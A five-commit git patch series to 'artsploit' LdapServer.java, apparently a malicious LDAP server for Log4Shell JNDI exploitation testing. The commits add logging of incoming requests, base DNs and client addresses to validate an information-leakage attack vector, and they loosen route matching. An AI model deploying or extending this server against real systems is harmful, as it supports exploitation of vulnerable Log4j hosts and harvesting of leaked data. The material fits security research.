From 54a769310bb6ab4eff85e90a8a4fb41a7aed11e7 Mon Sep 17 00:00:00 2001 From: Lari Hotari Date: Mon, 13 Dec 2021 18:40:39 +0200 Subject: [PATCH 1/5] Log request and base DN to validate Log4Shell information leakage attack vector --- src/main/java/artsploit/LdapServer.java | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/src/main/java/artsploit/LdapServer.java b/src/main/java/artsploit/LdapServer.java index 4a19857..e6b21a1 100644 --- a/src/main/java/artsploit/LdapServer.java +++ b/src/main/java/artsploit/LdapServer.java @@ -7,6 +7,7 @@ import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.ReadOnlySearchRequest; import org.reflections.Reflections; import javax.net.ServerSocketFactory; @@ -71,12 +72,15 @@ public LdapServer() throws Exception { */ @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { - String base = result.getRequest().getBaseDN(); + ReadOnlySearchRequest request = result.getRequest(); + String base = request.getBaseDN(); + System.out.println("request: " + request); + System.out.println("base: " + base); LdapController controller = null; //find controller for(String key: routes.keySet()) { - //compare using wildcard at the end - if(key.equals(base) || key.endsWith("*") && base.startsWith(key.substring(0, key.length()-1))) { + // compare using contains + if(base.contains(key)) { controller = routes.get(key); break; } From e0dbbed156ef0341db9db0df41cab3188b86b1c1 Mon Sep 17 00:00:00 2001 From: Lari Hotari Date: Mon, 13 Dec 2021 18:48:33 +0200 Subject: [PATCH 2/5] Fix NPE if there's no match --- src/main/java/artsploit/LdapServer.java | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/main/java/artsploit/LdapServer.java b/src/main/java/artsploit/LdapServer.java index e6b21a1..95143f1 100644 --- a/src/main/java/artsploit/LdapServer.java +++ b/src/main/java/artsploit/LdapServer.java @@ -85,6 +85,10 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) { break; } } + if (controller == null) { + System.out.println("No controller for base '" + base + "', falling back to default."); + controller = routes.get(""); + } try { controller.sendResult(result, base); } catch (Exception e1) { From f11132d766db493a5e33537a7afcd50a2af099e2 Mon Sep 17 00:00:00 2001 From: Lari Hotari Date: Mon, 13 Dec 2021 19:06:28 +0200 Subject: [PATCH 3/5] Log remote socket address --- src/main/java/artsploit/LdapServer.java | 32 ++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/src/main/java/artsploit/LdapServer.java b/src/main/java/artsploit/LdapServer.java index 95143f1..a5d375d 100644 --- a/src/main/java/artsploit/LdapServer.java +++ b/src/main/java/artsploit/LdapServer.java @@ -8,6 +8,9 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.ReadOnlySearchRequest; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.Socket; import org.reflections.Reflections; import javax.net.ServerSocketFactory; @@ -73,8 +76,8 @@ public LdapServer() throws Exception { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { ReadOnlySearchRequest request = result.getRequest(); + System.out.println("request: from: " + getRemoteAddress(result) + " " + request); String base = request.getBaseDN(); - System.out.println("request: " + request); System.out.println("base: " + base); LdapController controller = null; //find controller @@ -95,4 +98,31 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) { e1.printStackTrace(); } } + + private static Method getClientConnectionMethod; + private static Method getSocketMethod; + + static { + Class interceptedOperationClazz = null; + try { + interceptedOperationClazz = Class.forName("com.unboundid.ldap.listener.interceptor.InterceptedOperation"); + getClientConnectionMethod = interceptedOperationClazz.getDeclaredMethod("getClientConnection"); + getClientConnectionMethod.setAccessible(true); + getSocketMethod = getClientConnectionMethod.getReturnType().getDeclaredMethod("getSocket"); + getSocketMethod.setAccessible(true); + } catch (ClassNotFoundException | NoSuchMethodException e) { + e.printStackTrace(); + getClientConnectionMethod = null; + } + } + + private String getRemoteAddress(InMemoryInterceptedSearchResult result) { + try { + Socket clientConnection = (Socket) getSocketMethod.invoke(getClientConnectionMethod.invoke(result)); + return clientConnection.getRemoteSocketAddress().toString(); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } } From 2d13c17956f3224b640fccbd60b10d5ab00ed4a2 Mon Sep 17 00:00:00 2001 From: Lari Hotari Date: Tue, 14 Dec 2021 08:08:39 +0200 Subject: [PATCH 4/5] Handle case where key is empty string --- src/main/java/artsploit/LdapServer.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/java/artsploit/LdapServer.java b/src/main/java/artsploit/LdapServer.java index a5d375d..ac7e14d 100644 --- a/src/main/java/artsploit/LdapServer.java +++ b/src/main/java/artsploit/LdapServer.java @@ -83,7 +83,7 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) { //find controller for(String key: routes.keySet()) { // compare using contains - if(base.contains(key)) { + if (base.contains(key) && key.length() > 0 || key.equals(base)) { controller = routes.get(key); break; } From b4682c916530a8b172a0307f00bf2c7828a8f7ac Mon Sep 17 00:00:00 2001 From: Lari Hotari Date: Tue, 14 Dec 2021 08:16:22 +0200 Subject: [PATCH 5/5] Polish code --- src/main/java/artsploit/LdapServer.java | 26 ++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/src/main/java/artsploit/LdapServer.java b/src/main/java/artsploit/LdapServer.java index ac7e14d..6260996 100644 --- a/src/main/java/artsploit/LdapServer.java +++ b/src/main/java/artsploit/LdapServer.java @@ -99,6 +99,21 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) { } } + // uses reflection to get the remote address of the client + // since the required method isn't available on the public API + private String getRemoteAddress(InMemoryInterceptedSearchResult result) { + if (getSocketMethod == null || getClientConnectionMethod == null) { + return null; + } + try { + Socket clientConnection = (Socket) getSocketMethod.invoke(getClientConnectionMethod.invoke(result)); + return clientConnection.getRemoteSocketAddress().toString(); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + private static Method getClientConnectionMethod; private static Method getSocketMethod; @@ -112,17 +127,6 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) { getSocketMethod.setAccessible(true); } catch (ClassNotFoundException | NoSuchMethodException e) { e.printStackTrace(); - getClientConnectionMethod = null; - } - } - - private String getRemoteAddress(InMemoryInterceptedSearchResult result) { - try { - Socket clientConnection = (Socket) getSocketMethod.invoke(getClientConnectionMethod.invoke(result)); - return clientConnection.getRemoteSocketAddress().toString(); - } catch (Exception e) { - e.printStackTrace(); - return null; } } }